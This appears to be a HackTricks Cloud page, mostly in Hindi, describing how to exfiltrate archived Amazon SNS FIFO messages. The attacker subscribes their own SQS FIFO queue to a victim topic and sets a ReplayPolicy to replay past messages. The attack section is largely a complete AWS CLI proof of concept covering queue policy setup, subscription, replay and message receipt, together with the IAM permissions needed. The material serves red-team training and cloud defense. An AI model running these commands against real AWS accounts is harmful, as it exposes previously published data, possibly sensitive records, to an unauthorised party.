SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Amazon SNS FIFO topic के message archiving का दुरुपयोग करके पहले प्रकाशित संदेशों को replay और exfiltrate करना, attacker-controlled SQS FIFO queue पर subscription ReplayPolicy सेट करके।
- सेवा: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- आवश्यकताएँ: Topic must have ArchivePolicy enabled (message archiving). Attacker topic को Subscribe कर सकता है और अपनी subscription पर attributes सेट कर सकता है। Attacker के पास एक SQS FIFO queue होना चाहिए और topic को messages भेजने की अनुमति देनी चाहिए।
- प्रभाव: इतिहास में प्रकाशित संदेश (subscription से पहले प्रकाशित) attacker endpoint पर पहुँचाए जा सकते हैं। Replayed=true के साथ replayed deliveries SNS envelope में चिन्हित होती हैं।
Preconditions
- SNS FIFO topic जिसमें archiving सक्षम हो:
ArchivePolicy(e.g.,{ "MessageRetentionPeriod": "2" }for 2 days). - Attacker के पास permissions हों:
sns:Subscribeon the target topic.sns:SetSubscriptionAttributeson the created subscription.- Attacker के पास एक SQS FIFO queue होना चाहिए और वे एक queue policy जोड़ सकते हैं जो topic ARN से
sns:SendMessageकी अनुमति देती हो।
Minimum IAM permissions
- Topic पर:
sns:Subscribe. - Subscription पर:
sns:SetSubscriptionAttributes. - Queue पर:
sqs:SetQueueAttributesfor policy, और queue policy जो topic ARN सेsns:SendMessageकी अनुमति देती हो।
Attack: Replay archived messages to attacker SQS FIFO
Attacker अपने SQS FIFO queue को victim SNS FIFO topic से subscribe करता है, फिर ReplayPolicy को archive retention window के भीतर पिछले timestamp पर सेट करता है। SNS तुरन्त मिलते-जुलते archived messages को नई subscription पर replay करता है और उन्हें Replayed=true से चिन्हित करता है।
Notes:
ReplayPolicyमें प्रयुक्त timestamp topic केBeginningArchiveTimeके बराबर या उससे बड़ा होना चाहिए। अगर यह इससे पहले होगा, तो APIInvalid StartingPoint valueलौटाएगा।- SNS FIFO में
Publishके लिए आपकोMessageGroupIdनिर्दिष्ट करना होगा (और या तो dedup ID याContentBasedDeduplicationसक्षम करें)।
End-to-end CLI POC (us-east-1)
REGION=us-east-1
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
TS_START=$(python3 - << 'PY'
from datetime import datetime, timezone, timedelta
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
PY
)
# 1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
--query TopicArn --output text)
echo "Topic: $TOPIC_ARN"
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
--message-group-id g1 >/dev/null
done
# 3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
--attribute-names QueueArn --query Attributes.QueueArn --output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
JSON
# Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
import json, os
print(json.dumps({
'QueueUrl': os.environ['Q_URL'],
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
}))
PY
)"
# 4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
echo "Subscription: $SUB_ARN"
# 5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
START=${TS_START}
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
--attribute-name ReplayPolicy \
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
--max-number-of-messages 10 --wait-time-seconds 10 \
--message-attribute-names All --attribute-names All
प्रभाव
संभावित प्रभाव: एक हमलावर जो archiving सक्षम SNS FIFO topic की subscription ले सके और अपनी subscription पर ReplayPolicy सेट कर सके, वह तुरंत उस टॉपिक पर प्रकाशित ऐतिहासिक संदेशों को replay और exfiltrate कर सकता है, न कि केवल वे संदेश जो subscription बनाए जाने के बाद भेजे गए थे। प्रेषित संदेशों में SNS envelope में Replayed=true फ़्लैग शामिल होता है।
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud